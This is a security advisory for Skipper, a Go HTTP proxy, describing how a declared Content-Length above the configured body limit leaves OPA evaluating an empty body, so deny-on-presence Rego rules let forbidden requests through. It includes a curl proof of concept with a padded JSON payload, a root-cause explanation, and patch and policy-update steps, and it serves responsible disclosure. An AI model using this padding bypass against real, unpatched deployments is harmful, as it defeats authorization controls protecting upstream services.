high · 8.2Jul 17, 2026

Skipper opaAuthorizeRequestWithBody OPA Policy Bypass via Oversized Content-Length

Rohit Hatagale
AI Security Researcher, SecureLayer7

Sending a JSON body larger than Skipper's configured OPA body-size limit causes the policy engine to evaluate an empty document, so any deny-on-presence Rego rule silently passes the request through…

Packagegithub.com/zalando/skipper
Ecosystemgo
Affected< 0.27.26
Fixed in0.27.26

The problem

Skipper's opaAuthorizeRequestWithBody filter calls ExtractHttpBodyOptionally to read the request body before passing it to OPA. The prior fix for CVE-2026-50197 only capped expectedSize when Content-Length was -1 (chunked / HTTP-2). When a client declares a Content-Length larger than maxBodyBytes, the expectedSize <= maxBodyBytes guard is false, the read is skipped entirely, and rawBodyBytes is nil.

OPA receives an empty parsed_body. A deny-on-presence Rego policy (allow = false if input.parsed_body.action == "delete") sees no action field, defaults to allow = true, and forwards the full payload to the upstream. The bypass works silently with no error logged.

Proof of concept

A working proof-of-concept for this issue in github.com/zalando/skipper, with the exact payload below.

bash
# Policy under test (default allow, deny-on-presence):
# default allow = true
# allow = false if input.parsed_body.action == "delete"
#
# Skipper configured with: WithMaxRequestBodyBytes(32)
#
# 19 bytes - BLOCKED (body fits within limit, OPA sees the field):
curl -X POST http://skipper-proxy/api \
  -H 'Content-Type: application/json' \
  -d '{"action":"delete"}'
# => 403 Forbidden
#
# >32 bytes - BYPASS (oversized, OPA sees empty parsed_body, policy passes):
curl -X POST http://skipper-proxy/api \
  -H 'Content-Type: application/json' \
  -d '{"action":"delete","pad":"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"}'
# => 200 OK  (upstream received the full forbidden payload)

The root cause is an off-by-one-branch error in ExtractHttpBodyOptionally (filters/openpolicyagent/openpolicyagent.go). The CVE-2026-50197 fix only substituted expectedSize = maxBodyBytes when req.ContentLength < 0. A request with a declared Content-Length exceeding maxBodyBytes bypasses that branch entirely, and the function returns req.Body, nil, func(){}, nil with rawBodyBytes = nil.

The patch in v0.27.26 adds a truncated_body boolean to the OPA input document (set true whenever the body was not fully read), letting policy authors explicitly deny truncated requests. The CWE is CWE-285 (Improper Authorization) compounded by an incomplete remediation pattern.

The fix

Upgrade to github.com/zalando/skipper v0.27.26. After upgrading, update every Rego policy that gates on body content to also check input.attributes.request.http.truncated_body == false (deny-by-default pattern) or input.attributes.request.http.truncated_body == true (allow-by-default pattern) so that oversized bodies are never silently authorized.

See the v0.27.26 release notes for updated policy examples.

Reported by Reported as part of an incomplete-patch measurement study (responsible disclosure).

References: [1][2][3]

Related research